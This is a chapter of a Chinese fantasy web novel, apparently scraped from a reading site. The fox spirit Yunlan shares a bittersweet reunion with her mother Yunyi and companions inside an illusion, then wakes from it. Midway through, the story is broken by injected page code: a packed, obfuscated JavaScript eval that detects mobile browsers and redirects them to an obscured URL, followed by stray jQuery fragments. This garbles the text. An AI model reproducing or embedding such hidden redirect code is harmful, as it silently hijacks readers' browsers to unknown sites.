22. 2

    云岚少时便明白,父母并非不爱她,而是那时候她们泥菩萨过江,没有余力好好爱她。


    在大多数人的认知中,自幼缺乏父母之爱的人,会终其一生去苦寻各种形式的父爱母爱,执着追寻家庭温暖。


    在父母无法为她遮挡世间风雪时,云岚找到了另一种解法。云岚知道父母无法她,那接受事实、不再抱有期待便好了。


    那时候,她只想让自已开心。


    就此,心墙高筑,即使千帆过尽、苦尽甘来,她清楚的知道母亲想爱自己,她清楚的看着隔阂,无能为力,故而终其一生都在掩饰、逃避。


    一具身体承载过的两个意识,跨越时空,在此共鸣。


    云岚抽出被握住的双手,缓缓抬起视线望向云熠,习以为常的事,哪能就难过悲伤了去。


    云熠道:“后面的事,我们大抵都能猜到的,云岚,这个名字很适合你。”


    事已至此,众人皆心知肚明,都默契的没有讲话说破。


    云熠诞下原主后不久死于冥界,她说不重要时,想必是猜到了自己的死局,明确答案了又如何,云熠与何坞死了,原主也死了。


    该相拥痛哭的人,都死了。


    云熠灿然呵出一气,眼神晶亮灿烂,那是她不愿落下的泪花。


    她只是将身体俯向前来,与众人拉近距离,笑道:


    “对了,还未自我介绍呢,瞧我们这自说自话的劲,实是失礼。”


    “我名云熠,来自青丘九尾狐族。”


    “在下青何坞,是为终北溟海潜龙族。”


    云岚顿时瞪大眼睛凑近看去,讶然道:“你不说我还以为你姓何呢!”


    这话逗得众人凝重的面色出现不同程度的裂痕,憋不住的笑意冲散了原有的沉重。


    “愣着干嘛。”


    云岚只是轻轻踹了霁川一脚,却不料他肃然恭敬起身,俯身行礼道:“在下霁川,原身不过是山野乔木,一介散仙尔。”


    “他这人就这样。”云岚朗声笑着扯过他的衣摆,引其回到座位上,“后面的自我介绍不必随他这么隆重,齐齐一套行礼下来放倒疏远了不是。”


    “在下将涉月,世间凡人。”


    “在下闻人子,只是过客。”


    云岚挽上将涉月的胳膊,道:“涉月很厉害的,九重天上有扶光,凡间就有将涉月。”


    吓得将涉月连连摆手,“不至于不至于。”


    “确实是个不错的孩子。”云熠笑道:“那这两位是?”


    众人纷纷望向雁柳与青珩。


    青珩指了指自己,“我?我也有必要吗?”


    云岚道:“那你来都来了。”


    青珩道:“我是想走,这不你们不让吗。”


    云岚当然不能放她走,万一她溜出去后继续四处拱火那可真叫人头疼,把她单独关起来、或是单独派谁去守着也有失稳妥,所以就干脆让她在这旁听了。


    云岚还是那句话,“你这来都来了。”


    青珩重重叹了口气,“好吧,我名青珩,算不得什么重要人物。”


    还剩最后一位,雁柳。


    云岚心中升起疑惑,雁柳这是在……迟疑?


    她想起雁柳曾说过,‘我记得她是你的血亲,因为我需要记得你。’


    显而易见,对雁柳而言云熠才是最为重要之人,可此时雁柳脸上的神色不是欣喜、也不是情怯,而是迟疑。


    云岚在她眼前挥着手,雀声笑道:“嗯?怎么不说话,傻了不成?”


    雁柳的眼神自云岚身上流转向云熠,眼中宛如平波秋水静然映着旭日晨光,


    ……


    “我名,池柳。”


    “?!”云岚的瞳孔迅速放大,她瞬间垂下眼睫,慌忙维持着表面平静,在心底朝银竹狂呼:


    “我去,她真是池柳!!怎么办,我此前的表现没有露馅吧?她不能猜出来吧,不会吧?!早知道就应该掉几滴眼泪了!!!银竹姐姐…”


    银竹无奈打断道:“你方才都没挤眼泪。”


    云岚道:“这哪是一样的,原主自幼流浪,后被池柳带在身边直至死亡,再不济也要坐下来好好吃顿饭,唠唠温馨的家常代替重逢后的道别嘛!”


    银竹道:“你们现在不就正在做此事吗,她既说破便不算晚。”


    “啪!”


    云岚这才稍稍安下心来,便被身旁的将涉月吓了一跳,只见她拍案看向池柳,道:“池柳前辈,我支持你。”


    云熠惊奇道:“哦?这又是什么说法?”


    雁柳道:“故人尽罔,雁柳理应同沧海更迭,若非幻境之中因果改变,我应在牵挂之中渡过伤重修养一年有余的时日,想着,也许你能有用的到我的地方。”


    “正所谓——”云岚挺直身板,深情并茂道:“往事云烟随风去,名替我身且随行,新的名字,新的开始,后来我随池柳姐姐行于世间,那倒是一段开心的日子,如果你们想听的话,我也可以讲咯。”


    云熠柔声道:“你啊,想卖什么关子?”


    云岚眼珠滴溜一转,俏声道:“这不担心你们奔波劳碌,肚子空空精力不足吗,要不吃顿饭?况且讲故事怎么能没有酒呢?”


    池柳微微摇头:“酒是有的,只是经此一役他们都躲了回去,这处幻境已无人可做饭。”


    云熠道:“无妨,我来做就是。”


    云岚举起手,道:“我们可以打下手。“


    “咳…”霁川轻咳一声。


    “怎么了?”云岚循着他的目光,往向青何坞,他们二人对视的目光瞬间错开,似乎在自己不知道的某一瞬间便达成了某种共识。


    青何坞握住云熠的手,真诚道:“我来也是一样的,你身子不便尽管在外面陪着她们便好。”


    霁川侧身面向云岚,双手扶膝,道:“想来你们还有许多话要讲,何必在厨房油烟之中。”


    云岚迟疑道:“你,进过厨房吗?”


    霁川道:“可以打下手。”


    “走吧,我带你们去。”


    池柳起身直直朝后院走去,闲杂人等紧随其后,一时间,院中只剩云岚与云熠二人。


    云岚拖着椅子,碎步挪到云熠身侧,扯出一个自认憨态可掬的傻笑。她先是左脸被云熠捏起,随即她的右脸被更重的力道捏起。


    “唔——”声响起,她的脸蛋便遭到了肆无忌惮的蹂躏。


    云岚笑着拨开云熠的双手,逃似的钻入云熠怀中,砰然化回白狐身形,抖搂着皮毛安然卧下,大小刚刚合适,“饶了我吧,这些悄悄话我只告诉你可好?”


    雪白的团子瘫在一片青色之中,淡黄晨光斜斜洒下,清风徐徐带来山林清冽之气,这不过是再普通不过的清晨,安静祥和。


    片刻后,云熠抚上她的皮毛,“好啊,什么秘密?”


    在云熠轻柔的安抚中,云岚眯着眼睛好半天才找到最温暖舒适的姿势。


    她缓缓道:“我幼年时,起先流浪过一些时日,途中我遇到了好多各色各样的人,大多人接近我都动机不纯,我凭借迅速察觉远离,所幸也遇到过心地善良、真诚热烈的人,所以其实也没那么糟糕。”


    云熠道:“若有人相伴,你本可以看不到这些的。”


    云岚道:“所以说时迟那时快,不久后我遇到了池柳姐姐,当时我什么也不知道,便稀里糊涂的和她踏上旅途,相伴数百年,那是一段很不错的回忆呢。”


    云熠道:“嗯,那后来呢?”


    “后来,那可了不得了!”云岚挥舞起尾巴左右打圈,傲然道:“我位列仙班,投身戎武,你猜与我搭档之人是谁。”


    云熠手中的动作慢了下来,“听起来是个很了不得的人物,按照时间算算,确实有一个人选你可能遇到。”


    “嗯哼?”


    “——扶光,对吗?”</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918606|160326||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    “?”云岚的尾巴噗的耷拉下去,瞬间瘫做一张白饼,“你怎么知道?”


    云熠的指尖绕着她的尾尖打圈,似在提醒她方才自以为是卖的关子,惹得她只能有一搭没一搭的摇着尾巴,以从她手中撩过表示抗议。


    云熠笑道:“世间古神皆陨,唯她以涅槃之法长存世间,九方淮沧如此猖狂,其一原因便是扶光涅槃,你们年岁相仿,历程交集也是情理之中。”


    云岚竖起耳朵,道:“怎么听着倒不像重生,而像变小了重新活一次。”


    “兹事体大,这事本就是众神心照不宣的秘密,即使历届都被尽力隐瞒,六界仍会出现不同程度的暗流涌动、人心惶惶,你不知道也正常。”云熠捂住她的耳朵,压低声线道:


    “凤凰一族的涅槃重生,实是回到幼儿形态,抹去记忆与部分法力,重走一遍人生路,经住锤炼者,这能焕发出更强的生命之力,超越上一代的自己。”


    云岚一听,这怎么行?权力过度集中不容易引起动荡才怪,“偌大的世界,竟无人可在扶光不在时镇住场子。”


    “那也不至于。”银竹提醒道:“只是各界势力错综复杂,强龙难压地头蛇,何况是扶光不在时。”


    云岚闭上双眼,也是,是自己考虑不周了。


    云熠道:“母亲同我说过,扶光涅槃屈指可数,但六界之中不乏明锐者从中嗅到端倪,借机作梗,这一次掀起的暗流比前几次都要汹涌。”


    “我查了很久,都未查到九方淮沧的来处,此人毫无过往、行事乖张,我与他几番交手下来确实不简单。”


    太阳又往上挪了几寸,阳光烤在身上暖烘烘的,云岚不由迷迷瞪瞪犯起瞌睡,云熠那番话顺滑的溜过她的脑子,她仔细思考半晌回道:


    “他似乎天性不喜滥杀无辜,也算得上敢作敢当。”


    “只是世间凡事,先有立场,才有对错。”


    “昨晚没休息好吗?”———


    “?!”云岚的四肢猛然失去支点,她被云熠提起前脚,困意瞬间散了大半。


    她大脑霎时一片空白,四肢百骸传来的感知明明是极尽的轻柔、温暖,可她的身体却在渐渐僵硬。


    从人与人之间简单的拥抱,到与人相拥而眠她都经历过数次,唯有母亲的怀抱是不同的,母亲的怀抱总是温暖而又踏实,仿佛无论她往何处滚去,轻柔而又结实的云朵都会将她稳稳托住。


    可悲的心跳声彰显着她的局促不安,告诉她自己有多么的无所适从,这好像,也并不属于她。


    她所以得心应手的掩饰、逃避在这一刻通通作废,她沉醉贪恋,深陷其中,内心深处却无法欣然接受,她张了张嘴,说不出话发不出声,只剩下不知所措的茫然。


    只能希望此刻不要落下眼泪,那太狼狈了。


    “对方九方淮沧确实很是不易,困了便睡吧,待会饭熟后我唤你。”云熠的臂膀引渡孩子进入梦乡的摇篮,她亲哼起古老的旋律,为孩子勾勒出潺潺流水涤荡心河。


    云岚拖着身心俱疲的身体,放纵自己在此间卸下清醒,沉入梦乡,这样,她就能摆脱拧巴煎熬。


    云岚不知道自己睡了多久,再有意识时她无法睁开眼睛,有人在唤她。


    是云熠。


    “孩子,该回去了。”


    “我们还有饭没吃呢,我还有个很重要的秘密没和你讲。”


    “抱歉。”


    “阿姐呢?我还可以来找你吗?”


    “从前种种,是我有愧于众生的故国;从后种种,是我有愧于子民的结局。”


    “我们已经好好道过别了。”


    “让记忆停留在这吧。”逃避生离死别的,远不止一人。


    转然梦醒,溶洞刺骨的阴气刺激着云岚的每一处神经。


    起身望去,藤蔓将她托起包裹,嫣粉的花瓣不知从何处飘来,落满全身。


    真似大梦一场。